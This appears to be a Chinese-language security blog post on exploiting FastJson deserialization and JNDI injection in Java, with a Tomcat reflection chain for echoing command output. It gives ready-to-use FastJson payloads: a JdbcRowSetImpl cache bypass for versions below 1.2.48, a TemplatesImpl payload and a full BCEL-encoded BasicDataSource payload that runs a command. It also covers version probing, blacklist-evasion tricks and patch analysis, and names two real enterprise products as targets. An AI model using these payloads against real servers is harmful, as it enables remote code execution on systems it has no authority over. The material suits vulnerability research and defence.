FastJson与Tomcat回显

JNDI注入

以JDK8示例, JDK8u121以下的版本可以通过RMI协议加载远程恶意类, 121以后的版本则无法通过RMI协议进行远程加载, 原因如下:

image-20210712173410195

示例代码

1
2
3
4
5
6
public class Client {
public static void main(String[] args) {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/Test");
}
}

com.sun.jndi.rmi.registry.RegistryContext类的静态代码块中会获取com.sun.jndi.rmi.object.trustURLCodebase属性的值, 如果没有该属性的值则为默认值false, 所以此处的trustURLCodebase字段为false。

image-20210712174042062

RegistryContext#decodeObject方法中354行处如果trustURLCodebase为false的话抛出异常

image-20210712180347077

对应调用栈

1
2
3
4
5
>decodeObject:493, RegistryContext (com.sun.jndi.rmi.registry)
>lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
>lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
>lookup:417, InitialContext (javax.naming)
>main:18, Client (JNDI)

而JDK8小于181的版本则可以通过LDAP协议加载远程类, 之后的版本则无法加载远程类, 原理同上, 以我本地的JDK8u131演示, 无法通过RMI协议加载远程类, 但小于181可以通过LDAP加载远程类。

image-20210712182334528

image-20210712182443198

高版本JDK

当客户端调用lookup方法执行远程调用时, 会经过RegistryContext#decodeObject方法, 在获取到服务端返回的factoryName后其优先通过本地classpath加载, 当本地加载失败时才会从codebase加载。

对应调用栈

1
2
3
4
5
6
7
>getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
>getObjectInstance:319, NamingManager (javax.naming.spi)
>decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
>lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
>lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
>lookup:417, InitialContext (javax.naming)
>main:12, Client (org.vulhub.jndi)

helper.loadClass方法中其通过Class.forName获取类的Class, 并且在上图的163行处会调用newInstance方法, 这两步能够触发静态代码块无参构造器。在回到NamingManager#getObjectInstance后会调用返回对象的getObjectInstance方法(该对象必须实现ObjectFactrory接口), 当某个类的getObjectInstance方法存在危险操作且实现了ObjectFactory接口, 便无需通过远程加载类的利用方式。

这里以本地的环境编写Payload类并实现ObjectFactory接口, 在getObjectInstance方法中执行命令, 当远程调用时本地的classpath存在这个类则会从本地加载后调用其getObjectInstance方法触发。

Tomcat回显

在诸如反序列化或无回显的RCE漏洞利用中, 无法获得命令执行结果往往不利用下一步的渗透工作, 由于不可控因素居多无法判断导致命令执行失败的原因, 因此需要通过某种方法让其能够回显。

  • 通过线程组获取所有线程
  • 循环所有线程, 跳过线程名包含exec或不包含http的线程, 跳过非Runnable的实例的线程
  • 多重反射获取request对象
  • 通过request对象getResponse方法获取response对象

image-20210712212431925

上图中多层反射的意思为经过多次反射字段获取最终得到Request对象, 简单缩写如下形式:

1
obj.this$0.handler.global.processors.get(1).req

image-20210712213105151

通过上述的JNDI Client的代码演示加载远程恶意类执行命令并回显:

image-20210713111942870

FastJson

FastJson < 1.2.48

1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"","autoCommit":true}}

上述Payload适用于FastJson < 1.2.48的所有版本, 当FastJson反序列化时如果@type指定的类存在于ParserConfig类的deserialize属性中, Class类对应的是MiscCodec对象。

反序列化时会调用该对象的deserialze方法, 而MiscCodec#deserialze中会判断@type的类型如果是java.lang.Class的话会获取val键的值为类名调用TypeUtils#loadClass方法加载。

image-20210716140447449

通过这种「白 + 黑」的方式就能够将黑名单的类加入mappings缓存类中, 当加载时直接从mappings获取到该类直接返回, 不会经过黑名单的检查, 且无需开启autoType功能。

三者结合

image-20210713141015064

TemplatesImpl

  • 开启序列化私有字段功能(此Feature默认不开启, 需自行配置)
1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes\":["base64 bytecode..."],"_name":"a","_tfactory":{},\"_outputProperties\":{}}";

BasicDataSource

  • JSON.parseObject才能够触发此gadget, 原因在于parseObject会调用所有getter方法, parse方法只会调用特定的getter方法, 此gadget在BasicDataSource#getConnection中触发。
  • 小于1.2.48的版本都可以使用 java.lang.Class白名单 ➕ BasicDataSource组合链。
1
2
3
4
5
6
7
8
{
'@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
'driverClassLoader':
{
'@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
'driverClassName':'$$BCEL$$$l$8b...$A$A'
}

下述Payload执行完毕后会弹出Mac的计算器, 如Windows环境自行编写恶意类在静态代码块中添加执行命令的的代码, 并转成BCEL格式的字节码替换。

1
{"a":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"c":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"b":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$9b8$b1c$iB$C$a1$b4$f4$83o$C$H$7c$e1$GB$aa$Q$5c$ea$96$aaA$f4$bcYVa$c1$b1$z$7b$83$e0$Xq$e6$C$88$D$3f$80$l$85$98$dd$f2$r$95$95v$c6$f3$de$cc$9b$99$f5$fd$c3$ed$j$80u$y$f9$f0$f0$c1$c7$U$3ez$f8d$fc$b4$8b$cf$3e$w$f8$e2$e2$ab$8bo$M$d5M$95$u$bd$c5P$ee$ac$i08$db$e9$a1dhD$w$91$bf$86$83$9e$cc$f7y$_$s$a4$V$a5$82$c7$H$3cW$s$7e$C$j$7d$a4$K$d2$88vNU$bc$c1$e0m$8a$f8I$8e$R$dd$8e$8e$f9$v$Pc$9e$f4$c3$9d3$n3$ad$d2$84$d2$ea$5d$cd$c5$c9O$9eY$Z$9a$88$c1$ef$a6$c3$5c$c8$5dedkFn$cd$d4$G$a8$c1w1$T$60$Ws$M$9d4$93$c9L$d8$3d$_$b4$i$84$df$b3$yV$82$h$d1$o$dc$e6$b1$Y$c6$5c$a7$f9$g$cf$b2$A$f3X$60$Y$7f$a7$7f$80E$f84$ba$e9$c10$f6$9a$b1$d7$3b$96B34_$a1$3f$c3D$ab$BM$e4$f7$a5$7e$J$da$9d$95$e8$bf$iZ$cb$91gR0$yw$de$b0$5d$9d$ab$a4$bf$f1$b6$e0w$9e$KY$UT$d0$c8$88$d4$f61$f6s$$$q$z$e9$d2$P3$a7$EfV$t$3bBQH$9e$91$af$ac$5e$83$5dZ$3a$m$5b$b5$m$bd$t$d9$e0_$CF$d1$m$efa$ec$a5$98$5b1$a0u$83R$ab$7c$F$e7$ef$F$bc$l$abW$a8$5eZ$bcF$b5$V$94$ad$e2$q$7d$B$Oa$aeE$eb$d4$a3Ij$cf$j$ea$c45$d1$a2h$9c$ae$8bR$e4b$c2$n$a2m$87$9a$7c$E$a7NJ$jz$C$A$A"}}

版本探测

{“@type”:”java.lang.AutoCloseable”

[“a”:1]

不同版本之间略有差别, 可使用多种Payload尝试

image-20210713152843613

image-20210713153109685

原理在于{"@type":"java.lang.AutoCloseable"读取到最后一位时this.ch则为\u001a

image-20210713162634572

调用nextToken方法时

image-20210713163014378

最后在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze方法中抛出异常时带上了版本信息

image-20210713162022801

Bypass

特殊字符注释

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法解析对象时会调用JSONLexerBase#skipWhitespace方法会跳过对空格、制表符、注释等的解析。

image-20210713174622488

因此如下形式的JSON也能够正常解析

{\t\n”@type”:\t\n”org.vulhub.User”,”id”:”1”,\f\b”name”:”test”}

{\b”@type”:”org.vulhub.User”,”id”:”1”,/*Comment1*/“name”:/*Comment2*/“test”}

image-20210713183552189

Unicode字符解析

JSONLexerBase#scanSymbol方法中如果当前字符为\则会通过switch进行匹配, 以u开头的匹配为unicode字符。

image-20210713184636097

image-20210713184512096

正常解析:

image-20210713184731747

补丁分析

1.2.41

FastJson在1.2.41版本中加入了补丁, 位于com.alibaba.fastjson.parser.ParserConfig类中新增了checkAutoType方法, 其中会对@type的值进行黑名单检查, 如下是黑名单列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.apache.xalan"
17 = "org.codehaus.groovy.runtime"
18 = "org.hibernate"
19 = "org.jboss"
20 = "org.mozilla.javascript"
21 = "org.python.core"
22 = "org.springframework"

而使用{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;"}能够绕过checkAutoType的检查, 原因在于调用TypeUtils#loadClass方法时其会检查以L开头并以;结尾的并去除, 但是并不能够触发JNDI注入, 因为在checkAutoType方法的最后判断没有开启autoType会直接抛出异常。

image-20210714234206564

1.2.42

较上一个补丁的区别在于checkAutoType中黑名单改为计算哈希匹配, 且在该方法中会判断L开头与;号结尾的话则进行截断, 而同样在TypeUtils#loadClass也会进行L;的截断, 导致黑名单的绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0 = -8720046426850100497
1 = -8109300701639721088
2 = -7966123100503199569
3 = -7766605818834748097
4 = -6835437086156813536
5 = -4837536971810737970
6 = -4082057040235125754
7 = -2364987994247679115
8 = -1872417015366588117
9 = -254670111376247151
10 = -190281065685395680
11 = 33238344207745342
12 = 313864100207897507
13 = 1203232727967308606
14 = 1502845958873959152
15 = 3547627781654598988
16 = 3730752432285826863
17 = 3794316665763266033
18 = 4147696707147271408
19 = 5347909877633654828
20 = 5450448828334921485
21 = 5751393439502795295
22 = 5944107969236155580
23 = 6742705432718011780
24 = 7179336928365889465
25 = 7442624256860549330
26 = 8838294710098435315

image-20210715102500282

1.2.48

MiscCodec#deserialze调用TypeUtils#loadClass时默认cache参数为false, 不会写入mappings中, 无法绕过。

image-20210715162240506

蓝凌OA

image-20210713224811093

用友NC

image-20210713225013220